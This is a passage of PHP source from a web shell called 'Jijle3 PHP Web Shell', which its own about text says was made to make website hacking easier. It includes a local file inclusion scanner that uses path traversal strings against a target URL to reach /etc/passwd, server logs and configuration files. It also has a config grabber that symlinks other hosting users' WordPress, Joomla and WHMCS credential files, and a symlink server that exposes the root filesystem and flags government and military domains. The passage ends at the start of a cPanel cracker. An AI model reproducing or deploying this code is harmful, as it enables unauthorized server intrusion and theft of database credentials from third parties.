658 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
659 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
660 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
661 $lfiaccess = array(
662 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
663 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
664 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
665 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
666 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
667 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
668 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
669 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
670 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
671 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
672 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
673 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
674 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
675 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
676 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
677 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
678 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
679 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
680 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
681 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
682 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
683 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
684 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
685
686 $lfierror = array(
687 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
688 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
689 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
690 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
691 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
692 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
693 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
694 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
695 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
696 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
697 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
698 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
699 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
700 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
701 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
702 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
703 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
704 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
705 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
706 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
707 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
708 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
709 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
710
711 $lficonfig = array(
712 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
713 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
714 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
715 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
716 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
717 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
718 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
719 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
720 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
721 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
722 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
723 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
724 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
725 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
726 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
727 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
728 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
729 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
730 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
731 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
732 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
733 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
734 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
735 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
736 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
737 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
738 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
739 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
740 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
741 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
742 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
743 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
744 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
745 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
746 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
747
748 $lfiphpini = array(
749 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
750 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
751 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
752 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
753 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
754 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
755 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
756 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
757 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
758 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
759 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
760 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
761 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
762 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
763 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
764 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
765 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
766 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
767 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
768 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
769 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
770 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
771 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
772 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
773 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
774 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
775 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
776
777 $lfimysql = array(
778 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
779 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
780 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
781 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
782 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
783 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
784 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
785 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
786 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
787 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
788
789 $lfiftp = array(
790 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
791 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
792 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
793 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
794 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
795 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
796 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
797 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
798 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
799 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
800 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
801 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
802 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
803 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
804 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
805 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
806 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
807 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
808 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
809 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
810 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
811 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
812 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
813 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
814 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
815 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
816 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
817 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
818 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
819 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
820 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
821 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
822 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
823 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
824 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
825 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
826 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
827 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
828 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
829 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
830 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
831 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
832 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
833 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
834
835
836 $x = 1;
837 if ( $type == 1 ) {
838 $res1 = FetchURL($target.$lfitest);
839 $res2 = FetchURL($target.$lfitest2);
840 $rhash1 = md5($res1);
841 $rhash2 = md5($res2);
842 if ($rhash1 != $rhash2) {
843 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
844 while($lfiaccess[$x]) {
845 $res3 = FetchURL($target.$lfiaccess[$x]);
846 $rhash3 = md5($res3);
847 if ($rhash3 != $rhash2) {
848 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
849 }
850 else {
851 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
852 }
853 $x++;
854 }
855 }
856 }
857 if ( $type == 2 ) {
858 $res1 = FetchURL($target.$lfitest);
859 $res2 = FetchURL($target.$lfitest2);
860 $rhash1 = md5($res1);
861 $rhash2 = md5($res2);
862 if ($rhash1 != $rhash2) {
863 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
864 while($lficonfig[$x]) {
865 $res3 = FetchURL($target.$lficonfig[$x]);
866 $rhash3 = md5($res3);
867 if ($rhash3 != $rhash2) {
868 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
869 }
870 else {
871 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
872 }
873 $x++;
874 }
875 }
876 }
877 if ( $type == 3 ) {
878 $res1 = FetchURL($target.$lfitest);
879 $res2 = FetchURL($target.$lfitest2);
880 $rhash1 = md5($res1);
881 $rhash2 = md5($res2);
882 if ($rhash1 != $rhash2) {
883 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
884 while($lfierror[$x]) {
885 $res3 = FetchURL($target.$lfierror[$x]);
886 $rhash3 = md5($res3);
887 if ($rhash3 != $rhash2) {
888 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
889 }
890 else {
891 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
892 }
893 $x++;
894 }
895 }
896 }
897 if ( $type == 4 ) {
898 $res1 = FetchURL($target.$lfitest);
899 $res2 = FetchURL($target.$lfitest2);
900 $rhash1 = md5($res1);
901 $rhash2 = md5($res2);
902 if ($rhash1 != $rhash2) {
903 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
904 while($lfiphpini[$x]) {
905 $res3 = FetchURL($target.$lfiphpini[$x]);
906 $rhash3 = md5($res3);
907 if ($rhash3 != $rhash2) {
908 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
909 }
910 else {
911 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
912 }
913 $x++;
914 }
915 }
916 }
917 if ( $type == 5 ) {
918 $res1 = FetchURL($target.$lfitest);
919 $res2 = FetchURL($target.$lfitest2);
920 $rhash1 = md5($res1);
921 $rhash2 = md5($res2);
922 if ($rhash1 != $rhash2) {
923 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
924 while($lfimysql[$x]) {
925 $res3 = FetchURL($target.$lfimysql[$x]);
926 $rhash3 = md5($res3);
927 if ($rhash3 != $rhash2) {
928 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
929 }
930 else {
931 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
932 }
933 $x++;
934 }
935 }
936 }
937 if ( $type == 6 ) {
938 $res1 = FetchURL($target.$lfitest);
939 $res2 = FetchURL($target.$lfitest2);
940 $rhash1 = md5($res1);
941 $rhash2 = md5($res2);
942 if ($rhash1 != $rhash2) {
943 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
944 while($lfiftp[$x]) {
945 $res3 = FetchURL($target.$lfiftp[$x]);
946 $rhash3 = md5($res3);
947 if ($rhash3 != $rhash2) {
948 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
949 }
950 else {
951 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
952 }
953 $x++;
954 }
955 }
956 }
957if ( $type == 7 ) {
958 $res1 = FetchURL($target.$lfitest);
959 $res2 = FetchURL($target.$lfitest2);
960 $rhash1 = md5($res1);
961 $rhash2 = md5($res2);
962 if ($rhash1 != $rhash2) {
963 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
964 $res3 = FetchURL($target.$lfiprocenv);
965 $rhash3 = md5($res3);
966 if ($rhash3 != $rhash2) {
967 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
968 }
969 else {
970 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
971 }
972 }
973 }
974 }
975 }
976wsoFooter();
977}
978
979###################### Config Grabber ######################
980function actionconfig() {
981wsoHeader();
982
983echo "<center>
984<h1>Config Grabber</h1>
985";</center><br><center>if (empty($_POST['config'])) {<p><font face="Tahoma" color="white" size="2pt">Put /etc/passwd</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'>echo file_get_contents('/etc/passwd');
986</textarea><br><br><input name="config" class='inputzbut' size="100" value="Get The Configs !" type="submit"><br><input type="hidden" name="a" value="config"></form></center><br>
987}if ($_POST['config']) {
988$function = $functions=@ini_get("disable_functions");
989if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('phdz-config', 0755);@chdir('phdz-config');
990$htaccess="
991OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
992Options Indexes FollowSymLinks
993ForceType text/plain
994AddType text/plain .php
995AddType text/plain .html
996AddType text/html .shtml
997AddType txt .php
998AddHandler server-parsed .php
999AddHandler txt .php
1000AddHandler txt .html
1001AddHandler txt .shtml
1002Options All
1003Options All";
1004file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("\n",$passwd);echo "<br><br><center><font>Bism Allah</center><br>";
1005foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
1006echo '<b class="cone"><font><b>Configs Link : </b> <a target="_blank" href="phdz-config">[ Configs ]</a></font></b>';}
1007wsoFooter();}
1008###################### About ############################
1009function actionabout() {
1010wsoHeader();
1011echo'
1012<center>
1013<h1>[ About ]</h1>
1014<br /><br />
1015</form>
1016';<head>
1017<span class="style1"><font size="3" color="#FFFFFF" face="Adobe Heiti Std R"></font> <div style='font-family: Courier New; font-size: 10px;'><font color='white' class=txt ><pre>
1018 _ _ _ _ _____ ____ _ _ ____
1019 | | (_) (_) | | ___ |___ / | _ \ | | | | | _ \
1020 _ | | | | | | | | / _ \ |_ \ | |_) | | |_| | | |_) |
1021| |_| | | | | | | | | __/ ___) | | __/ | _ | | __/
1022 \___/ |_| _/ | |_| \___| |____/ |_| |_| |_| |_|
1023 |__/
1024 ____ _ _ _
1025/ ___| | |__ ___ | | | |
1026\___ \ | '_ \ / _ \ | | | |
1027 ___) | | | | | | __/ | | | |
1028|____/ |_| |_| \___| |_| |_|
1029<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><p>
1030<pre>
1031<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&width&height=62&colorscheme=light&show_faces=false&header=true&stream=false&show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre>
1032<p><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
1033Jijle3 PHP Web Shell Created To Make Web Site Hacking More Easy ..<br><br> And To Gev You Some Normal Tools ! With WSO Theme<br><br> iF You Want Me To Add A Notther Tools in Secend Virsion Mail Me in My E-mail Bellow Or in My Facebook Page !<br><br></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
1034<div style='font-family: Courier New; font-size: 10px;'><font size='2' class=txt ><pre>
1035Coded By Phenomene Dz <br>Algeria - Jijel<br>Finished in 2015/02/03<br>My Email - dzph@bk.ru -<br>Youtube Channel <a href="http://www.youtube.com/DZPH/" target="_blank">YouTube</a><br><br>All Right Reserved (C) Phenomene Dz - Martyrs Crew 2015
1036<font size="13" face="Adobe Heiti Std R" color="red"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
1037[ Thanks To ] <br><br>Abod Hack - Red Ck - Ghost1145 - Prodigy Tn - EL Moj4hid - Ghost dz - L'Apoca Dz - Mr Dz Gang <br><br> Sy3i4n K!lle3 - Red Hell Sofyan - Algeriano - Hero Dz - Cesc Dz - X Zone - K2ll33d - Almokawim <br><br> Martyrs Team - Algerian To The Core - 1337day Community Algeria - Fallaga Team <br><br> AnonGhost Team - Dz Team - Anonymous Dz - Backup Sec Dz <br><br> Sec4ever.com - Gaza-Hacker.net - Dev-Tun.tn - Fallaga.tn - Aljyyosh.com - dz-root.com - is-sec.com <br><br> And All My Freinds - All Muslims Hackers - All Algerian Hackers <font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p>
1038wsoFooter(); }
1039###################### Symlink Server ############################
1040function actionsymserver() {
1041wsoHeader();
1042echo'<center><h1>Symlink Server</h1><br>';
1043@set_time_limit(0);
1044echo "<center>";
1045
1046@mkdir('phdz-symserver',0777);
1047$htaccess = "Options all \n DirectoryIndex readme.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1048$write =@fopen ('phdz-symserver/.htaccess','w');
1049fwrite($write ,$htaccess);
1050@symlink('/','phdz-symserver/root');
1051$filelocation = basename(__FILE__);
1052$read_named_conf = @file('/etc/named.conf');
1053if(!$read_named_conf)
1054{
1055echo "<pre class=ml1 style='margin-top:5px'>[ /etc/named.conf ] ==> Not Writeable !</pre></center>";
1056}
1057else
1058{
1059echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
1060foreach($read_named_conf as $subject){
1061if(eregi('zone',$subject)){
1062preg_match_all('#zone "(.*)"#',$subject,$string);
1063flush();
1064if(strlen(trim($string[1][0])) >2){
1065$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
1066$name = $UID['name'] ;
1067@symlink('/','sym/root');
1068$name = $string[1][0];
1069$iran = '\.ir';
1070$israel = '\.il';
1071$indo = '\.id';
1072$sg12 = '\.sg';
1073$edu = '\.edu';
1074$gov = '\.gov';
1075$gose = '\.go';
1076$gober = '\.gob';
1077$mil1 = '\.mil';
1078$mil2 = '\.mi';
1079if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
1080or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
1081{
1082$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
1083}
1084echo "
1085<tr>
1086
1087<td>
1088<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
1089</td>
1090
1091<td>
1092'.$UID['name']."
1093</td>
1094
1095<td>
1096<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
1097</td>
1098
1099</tr></div> ";
1100flush();
1101}
1102}
1103}
1104}
1105
1106echo "</center></table>";
1107wsoFooter(); }
1108###################### Cpanel Cracker ############################
1109function actioncpcrack() {
